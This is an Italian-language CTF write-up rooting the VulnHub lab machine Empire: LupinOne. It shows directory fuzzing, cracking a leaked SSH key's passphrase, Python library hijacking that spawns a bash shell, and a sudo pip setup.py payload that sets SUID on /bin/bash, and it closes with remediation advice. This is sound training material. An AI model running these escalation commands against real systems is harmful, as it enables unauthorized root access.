

Empire: LupinOne

Macchina VulnHub di icex64 & Empire Cybersecurity | Difficoltà: Easy-Medium | Relazione tecnica

Target	10.0.2.6 (rete di laboratorio VirtualBox host-only)
Attaccante	Kali Linux 2026.1 – 10.0.2.15
Servizi esposti	22/tcp OpenSSH 8.4p1 · 80/tcp Apache 2.4.48
Obiettivo	Compromissione completa: da accesso non autenticato a privilegi di root
Esito	Root ottenuto. Flag: 3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}

1. Sommario esecutivo

La macchina è stata compromessa interamente sfruttando una catena basata sull'enumerazione, senza exploit di servizi remoti. Il web server espose, tramite fuzzing, una directory nascosta contenente una chiave SSH privata offuscata in Base58 e protetta da una passphrase debole. Recuperata la chiave e crackata la passphrase, si è ottenuto un primo accesso come utente **icex64**. Da qui, sfruttando due misconfigurazioni di sudo in sequenza (Python library hijacking e abuso di pip), si è scalato prima all'utente **arsene** e infine a **root**. Il percorso evidenzia come il rischio non derivi da vulnerabilità software note, ma da errori di configurazione e di gestione dei segreti.

2. Metodologia e strumenti

Ricognizione: arp-scan, nmap. Enumerazione web: ffuf, gobuster, analisi del codice sorgente. Crittografia/decodifica: CyberChef (From Base58). Cracking: ssh2john + john (wordlist fasttrack). Post-exploitation: Linpeas, tecniche GTFOBins.

3. Svolgimento

3.1 Ricognizione

Individuazione dell'host e scansione delle porte. Emergono SSH e un server Apache; robots.txt segnala il path /~myfiles.

```
nmap -p- -sV -sC 10.0.2.6
```

3.2 Enumerazione web

La pagina /~myfiles restituisce un finto Error 404; nel sorgente un commento ("keep trying") suggerisce di continuare il fuzzing sui path in stile ~utente. ffuf individua la directory secret, la cui pagina contiene un messaggio di icex64 che rivela la presenza di una chiave SSH privata nascosta. Un secondo fuzzing sui file nascosti trova .mysecret.txt.

```
ffuf -c -w common.txt -u 'http://10.0.2.6/~FUZZ'
ffuf -c -ic -w directory-list-2.3-medium.txt -u 'http://10.0.2.6/~secret/.FUZZ' -fc 403 -e .txt,.html
```

3.3 Decodifica della chiave e cracking

Il contenuto di .mysecret.txt è una chiave OpenSSH offuscata in Base58. Decodificata con CyberChef, viene salvata su file e ne viene estratto l'hash per John the Ripper. La passphrase è debole e

viene recuperata in pochi secondi con la wordlist fasttrack: **P@55w0rd!**

```
/usr/share/john/ssh2john.py chiavelupin > hash  
john --wordlist=/usr/share/wordlists/fasttrack.txt hash -> P@55w0rd!
```

3.4 Accesso iniziale (icex64)

Con chiave e passphrase si effettua il login SSH. `sudo -l` rivela la prima misconfigurazione: l'utente può eseguire come **arsene**, senza password, lo script `/home/arsene/heist.py`.

```
ssh -i chiavelupin icex64@10.0.2.6  
sudo -l -> (arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
```

3.5 Escalation orizzontale – Python library hijacking (icex64 → arsene)

Lo script esegue `import webbrowser`. Poiché Python cerca i moduli prima nella directory dello script, si crea un `webbrowser.py` malevolo scrivibile (quello di sistema in `/usr/lib` non è modificabile).

All'esecuzione dello script come arsene, il modulo avvelenato apre una shell con la sua identità.

```
echo 'import os; os.system("/bin/bash")' > /home/arsene/webbrowser.py  
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
```

3.6 Escalation verticale – abuso di pip (arsene → root)

Come arsene, `sudo -l` mostra `(root) NOPASSWD: /usr/bin/pip`. Durante l'installazione di un pacchetto, pip esegue il relativo `setup.py` come root. Il payload GTFOBins standard con shell interattiva fallisce per assenza di TTY nel contesto di build (`cannot open not a tty`); si adotta quindi un payload non interattivo che imposta il bit SUID su `/bin/bash`, poi si apre una shell privilegiata con `-p`.

```
TF=$(mktemp -d)  
echo 'import os; os.system("chmod +s /bin/bash")' > $TF/setup.py  
sudo pip install $TF 2>/dev/null  
/bin/bash -p -> euid=0(root)
```

4. Risultato

Ottenuti privilegi di root ed estratta la flag finale:

```
cat /root/root.txt  
3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
```

5. Raccomandazioni di remediation

- Non pubblicare mai segreti (chiavi SSH) su servizi web, nemmeno offuscati: la codifica Base58 non è cifratura.
- Proteggere le chiavi con passphrase robuste; le wordlist come fasttrack crackano credenziali deboli in secondi.
- Applicare il principio del minimo privilegio in sudoers: evitare NOPASSWD su interpreti (python) e package manager (pip), che consentono esecuzione di codice arbitrario.
- Correggere i permessi dei moduli Python e delle directory di lavoro per impedire il library hijacking (nessun file/dir importabile deve essere scrivibile da utenti non fidati).
- Monitorare l'uso di sudo e le installazioni pip eseguite come root.